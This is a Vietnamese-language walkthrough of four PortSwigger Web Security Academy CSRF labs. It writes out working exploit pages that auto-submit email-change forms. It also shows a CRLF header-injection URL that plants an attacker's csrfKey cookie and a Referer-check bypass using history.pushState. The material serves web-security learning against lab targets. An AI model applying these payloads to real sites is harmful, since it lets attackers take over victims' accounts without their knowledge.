**Bài 1: CSRF where token validation depends on request method**

Bài này không xác thực mã CSRF khi dùng phương thức GET. Làm sao để kiểm tra?

Bạn đăng nhập vào tk wiener:peter.

Dùng phương thức GET để đổi địa chỉ email như sau:

GET /my-account/change-email/?email=admin%40user.net

Nó vẫn đổi địa chỉ email được mà không cần tham số csrf.

Cuối cùng bạn tạo 1 file html ở máy chủ exploit ở phương thức get:

<html>

<body>

<form action="https://0a0f00de0428658bc2a3438200a3006b.web-security-academy.net/my-account/change-email/" method="get">

<input type="text" name="email" value="pwned@evil-user.net" />

</form>

<script>

document.forms[0].submit();

</script>

</body>

</html>

Vận chuyển nó cho nạn nhân là xong.

# Bài 2: CSRF where token is not tied to user session

# Bài này cho mình 2 tài khoản.

# Vì mã không gắn với phiên của người dùng nên mình thử đăng nhập vào tk peter, đổi địa chỉ email và lấy csrf của nó để đổi thử email cho tk carlos 🡪 Invalid token.

# Sau một hồi tìm hiểu thì thấy mã token có vẻ chỉ dùng được một lần.

# Mình thử lại: đổi email của peter nhưng lần này mình chặn yêu cầu, lấy mã csrf rồi drop yêu cầu luôn, vậy là mã này vẫn còn tác dụng.

# Dùng nó đổi email của carlos🡪 thành công

# Đến đây, các bạn có thể thực hiện tấn công csrf rồi.

# Bài 3: CSRF where token is tied to non-session cookie

# Bài này rất khó vì phải điều chỉnh lại cookie.

# Bắt đầu nào!

# Khi thay đổi email, bạn được set-cookie: session=pc542f6NcWY5Zcr2tvuzvhQq5oNKSL1d; csrfKey=omPIQtkMBWcq1IVksBFbGAQTcz3Z0h5F

# Nội dung yêu cầu:

# email=admin%40user.net&csrf=d3FKiw7xxnrij4u6ids7pOh9RUILKUbP

# Gửi nó vào repeater kiểm tra:

# Nếu xóa session, ứng dụng yêu cầu đăng nhập lại.

# Nếu xóa csrf-key, không thể đăng nhập hay đổi địa chỉ email 🡪 Invalid CSRF Token

# 🡺Rõ ràng ứng dụng xác thực mã csrf dựa vào csrf-key, không phải phiên của người dùng.

# Để tấn công CSRF, chúng ta phải đặt lại cookie 🡪 chỉnh sửa csrf-key của nạn nhân thành của mình.

# Khi chúng ta tìm kiếm GET /?search=1, nó lại Set-Cookie: LastSearchTerm=1;

# Mở 1 trang web ẩn danh (khai thác sẽ dễ hơn), lúc này cookie chỉ có phiên, nếu GET /login, cookie sẽ có thêm csrf-key. Nếu đăng nhập thành công, phiên sẽ thay đổi. Nếu tìm kiếm cookie sẽ thêm LastSearchTerm.

# Bây h làm sao lợi dung chức năng search để thêm cookie csrf-key?? (nhớ là chưa đăng nhập)

# Get /?search=1%0D%0ASetCookie%3AcsrfKey%3DomPIQtkMBWcq1IVksBFbGAQTcz3Z0h5F%3B

# Hãy thử bỏ %0D, %0A sẽ thấy điều thú vị.

# Việc đặt lại cookie của người dùng đã dễ hơn nhưng xây dựng được html để tấn công CSRF không hề dễ dàng.

# Đầu tiên phải chuyển hướng họ đến trang search này để set cookie trước rồi mới thay đổi địa chỉ email được.

# <html>

# <body>

# <form action="https://0a890017038b514ec108fe07009a000f.web-security-academy.net/my-account/change-email" method="POST">

# <input type="hidden" name="email" value="pwned@evil-user.net" />

# <input type="hidden" name="csrf" value="d3FKiw7xxnrij4u6ids7pOh9RUILKUbP" />

# </form>

# <img src="https://0a890017038b514ec108fe07009a000f.web-security-academy.net/?search=1%0D%0ASet-Cookie%3A%20csrfKey%3DomPIQtkMBWcq1IVksBFbGAQTcz3Z0h5F%3B%20SameSite=None" onerror="document.forms[0].submit()">

# </body>

# </html>

# Bài 4: CSRF with broken Referer validation

# Giống mấy bài trước, mình sẽ tấn công CSRF ở chức năng chỉnh sửa email.

# Gửi yêu cầu đến repeater: POST /my-account/change-email

# Khi bạn xóa referer đi, ứng dụng báo lỗi Invalid referer header.

# Rõ ràng ứng dụng xử lí yêu cầu dựa trên Referer. Nếu referer là url có nguồn gốc khác với trang web sẽ bị chặn. Làm sao để bypass được?

**Nếu Referer có định dạng sau:** http://attacker-website.com/csrf-attack?vulnerable-website.com thì yêu cầu được chấp nhận.

Mình thử tạo 1 file exploit có nội dung như sau:

<html>

<body>

<meta name="referrer" content="unsafe-url" />

<form action="https://0a2a00a703c4443ec13c5d3e005700c7.web-security-academy.net/my-account/change-email" method="POST">

<input type="hidden" name="email" value="pwned@evil-user.net" />

</form>

<script>

document.forms[0].submit();

</script>

</body>

</html>

Để phá vỡ được xác thực dựa trên referer: mình tạo 1 đường dẫn sau:

https://exploit-0abd00c503a84485c1a15c89013c001e.exploit-server.net/exploit?0a2a00a703c4443ec13c5d3e005700c7.web-security-academy.net

Khi nạn nhân click vào, họ sẽ yêu cầu thay đổi email bằng phương thức post, referer của họ sẽ như trên

Tại sao mình phải dùng thẻ meta? Vì một số trình duyệt không cho referrer header có chuỗi truy vấn. Nếu vậy, mình sẽ không tấn công CSRF được. Bạn có thể ghi đè hành vi này bằng Referrer-Policy: unsafe-url

Nhưng mình không hiểu lắm, trang portswigger không cho phép đường dẫn trên.

Nó xử lí bài toán theo cách khác:

Đường dẫn là: https://exploit-0abd00c503a84485c1a15c89013c001e.exploit-server.net/exploit

Nó thay đổi Referer của nạn nhân như thế nào? Cùng xem nhé.

<script>history.pushState("", "", "/?0a2a00a703c4443ec13c5d3e005700c7.web-security-academy.net")</script>

Referer của nạn nhân sẽ như sau: https://exploit-0abd00c503a84485c1a15c89013c001e.exploit-server.net/?0a2a00a703c4443ec13c5d3e005700c7.web-security-academy.net

(vẫn thỏa yêu cầu bài toán đúng không)

Gửi cho nạn nhân là xong!

Nói gì thì nói, cách giải này nhìn tối ưu hơn vì đường dẫn file không bị thay đổi vẫn là exploit.html